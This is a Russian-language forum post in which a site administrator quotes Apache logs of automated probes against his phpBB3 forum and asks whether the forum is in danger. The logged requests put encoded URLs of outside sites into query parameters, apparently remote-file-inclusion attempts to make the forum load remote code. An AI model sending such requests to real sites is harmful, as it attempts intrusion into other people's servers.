Проверка phpBB на прочность?

Зашел сегодня посмотреть логи на одном из сайтов сервера, и вижу:

ip  - - [19/Jan/2008:00:47:07 +0300] "GET /forum/./viewforum.php?f=http%3A%2F%2Fwww.municipioxii.it%2Fsunnyway%2Feheqebi%2Fjahibop%2F&sid=37a4ea665fac8024f186550765a177bc HTTP/1.1" 200 7154 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"
ip  - - [19/Jan/2008:00:47:08 +0300] "GET /forum/./viewforum.php?f=http%3A%2F%2Fwww.beyonddesigners.com%2Filuminacion%2Fcommon%2Fxudev%2Fjoxiqum%2F&sid=37a4ea665fac8024f186550765a177bc HTTP/1.1" 200 7154 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"
ip - - [19/Jan/2008:00:47:09 +0300] "GET /forum/./viewforum.php?f=2&sid=http%3A%2F%2Fwww.fabcraft.co.uk%2Fforum%2Flovuqo%2Fzil%2F HTTP/1.1" 200 11564 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"
ip  - - [19/Jan/2008:00:47:10 +0300] "GET /forum/./viewforum.php?f=2&sid=http%3A%2F%2Fwww.northfans.ch%2Fforum%2Fadmin%2Fsettings%2Fgucor%2Fujusu%2F HTTP/1.1" 200 11564 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"
ip  - - [19/Jan/2008:00:47:11 +0300] "GET /forum/./memberlist.php?mode=http%3A%2F%2Fwww.protiming.at%2Fgallery%2Falbums%2Fijehiqe%2Fozipeg%2F&sid=37a4ea665fac8024f186550765a177bc HTTP/1.1" 200 7120 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"
ip  - - [19/Jan/2008:00:47:12 +0300] "GET /forum/./memberlist.php?mode=http%3A%2F%2Fwww.thoseguysfilms.com%2Fforums%2Ftemplates%2FsubSilver%2Fimages%2Fuza%2Flaqipu%2F&sid=37a4ea665fac8024f186550765a177bc HTTP/1.1" 200 7120 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"
ip - - [19/Jan/2008:00:47:13 +0300] "GET /forum/./memberlist.php?mode=group&g=http%3A%2F%2Fwww.vacacionalhouse.com%2Fen%2Fimg%2Fvohe%2Fseyon%2F&sid=37a4ea665fac8024f186550765a177bc HTTP/1.1" 200 10194 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"
ip - - [19/Jan/2008:00:47:14 +0300] "GET /forum/./memberlist.php?mode=group&g=http%3A%2F%2Fwww.stomol.ru%2Fcatalog%2Fafa%2Fazo%2F&sid=37a4ea665fac8024f186550765a177bc HTTP/1.1" 200 10180 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"
ip - - [19/Jan/2008:00:47:15 +0300] "GET /forum/./index.php?sid=http%3A%2F%2Fwww.sfolly.net%2Fchat%2Fdata%2Fprivate%2Fchat%2Fasaz%2Fodofe%2F HTTP/1.1" 200 12385 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"
ip  - - [19/Jan/2008:00:47:16 +0300] "GET /forum/./index.php?sid=http%3A%2F%2Fsans-packing.ru%2Fimg%2Fjipeqap%2Fehudute%2F HTTP/1.1" 200 12385 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"
ip  - - [19/Jan/2008:00:47:18 +0300] "GET /forum/./search.php?search_id=http%3A%2F%2Fwww.ipp.ro%2Fmobilitateademnitarilor%2Fadmin__%2Fubom%2Fqiri%2F&sid=37a4ea665fac8024f186550765a177bc HTTP/1.1" 200 7304 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"
ip  - - [19/Jan/2008:00:47:19 +0300] "GET /forum/./search.php?search_id=http%3A%2F%2Fwww.heaven-house.kz%2Ftemplates_c%2Fsexes%2Fafacub%2F&sid=37a4ea665fac8024f186550765a177bc HTTP/1.1" 200 7304 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"
ip  - - [19/Jan/2008:00:47:20 +0300] "GET /forum/./memberlist.php?mode=viewprofile&u=http%3A%2F%2Fwww.asais.info%2Fnewsletter%2Fincludes%2Fjurefim%2Fkom%2F&sid=37a4ea665fac8024f186550765a177bc HTTP/1.1" 200 10208 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"
ip - - [19/Jan/2008:00:

и т.д

Версия phpBB3 вроде бы последняя, скачивал с офф.сайта вот недавно. Что это - обычная проверка на прочность? Форуму ничего не грозит?

Эхх, одолели уже эти умники...